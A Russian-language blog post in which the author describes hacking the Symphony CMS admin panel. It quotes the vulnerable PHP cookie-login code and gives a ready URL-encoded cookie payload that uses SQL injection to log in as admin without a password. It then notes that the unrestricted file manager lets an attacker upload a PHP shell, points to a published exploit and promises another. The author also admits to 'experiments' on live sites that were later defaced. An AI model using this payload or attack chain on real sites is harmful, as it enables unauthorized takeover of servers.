Однажды я натолкнулся на Symphony – бесплатную платформу для публикации в web с открытым исходным кодом. Основное достоинство системы – использование XSLT в шаблонах, что является достаточно редким явлением среди платформ подобного рода. Сведений в багтраке по поводу обнаружения уязвимостей в Symphony я не нашел, поэтому без колебаний решил провести пен-тестинг движка с целью выявления какого-нибудь крупного бага. Было найдено несколько уязвимостей, которые в совокупности позволяли совершить произвольное выполнение команд. Выкладывать в багтрак найденные дыры я не стал, однако пару дней назад на официальном форуме Symphony обнаружили, что на многих сайтах с этой CMS появились некоторые изменения. Не скрою, кое-какие эксперименты я проводил. После выявления самими разработчиками некоторых багов в системе и публикации патча, смысла держать эксплоит не нахожу. Подробное описание уязвимостей идет ниже.
Может это покажется вам забавным, но заставить работать CMS мне не удалось. Все, что у меня работало – это панель администрирования, поэтому найденные баги относятся только к ней. Symphony – довольно бажный продукт, несмотря на использование современных стандартов, утвержденных W3C. Экранирование кавычек перед вставкой в запрос имело место, но в единичных случаях. В большей степени пострадал механизм авторизации пользователей, в частности определение пользователя по данным в cookie. Именно в этом компоненте была обнаружена серьезная SQL-инъекция, позволяющая обойти авторизацию.
В скрипте symphony/lib/class.admin.php имеется следующий код:
<?php if(isset($_COOKIE[__SYM_COOKIE__])){ $args = unserialize($_COOKIE[__SYM_COOKIE__]); $result = $this->login($args['username'], $args['password'], true, false); ?>
При авторизации по данным из cookie, логин и пароль после unserialize() попадают непосредственно в login() без какой-либо дополнительной обработки. Посмотрим, что у нас в login():
<?php function login($username, $password, $already_md5=false, $update=true){ $sql = "SELECT *\n"; $sql .= "FROM `tbl_authors`\n"; $sql .= "WHERE `username` = '".addslashes($username)."'\n"; $sql .= "AND `password` = '".(!$already_md5 ? md5($password) : $password)."'\n"; $row = $this->_db->fetchRow(0, $sql); /* [...] */ } /* [...] */ ?>
Логин попадает в запрос в приемлемом виде, а вот пароль проходит проверку лишь на соответствие формату md5 без какого-либо экранирования. Таким образом, передав специально сформированные данные в cookie, становимся админом без пароля:
sym_auth=a%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22
admin%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%2231337%27+OR+1%3D1+
+LIMIT+1%2F%2A%22%3Bs%3A2%3A%22id%22%3Bi%3A1%3B%7D
->
a:3:{s:8:”username”;s:5:”admin”;s:8:”password”;s:24:”31337′ OR 1=1 LIMIT 1/*“;s:2:”id”;i:1;}
В администраторской панели разработчики приготовили нам файл-менеждер, который абсолютно не следит за расширениями файлов, что приводит к загрузке чего-угодно, в том числе и php-шеллов. К слову, патч, упомянутый выше, устраняет данную оплошность, так что эксплоит работает только на непропатченных версиях.
Сплоит берем с милворма.
Разработчики готовят к выходу вторую версию CMS. Беглый осмотр показывает, что ситуация нисколько не изменилась. Скоро опубликую сплоит и для второй версии. Stay tuned!
Leave a Reply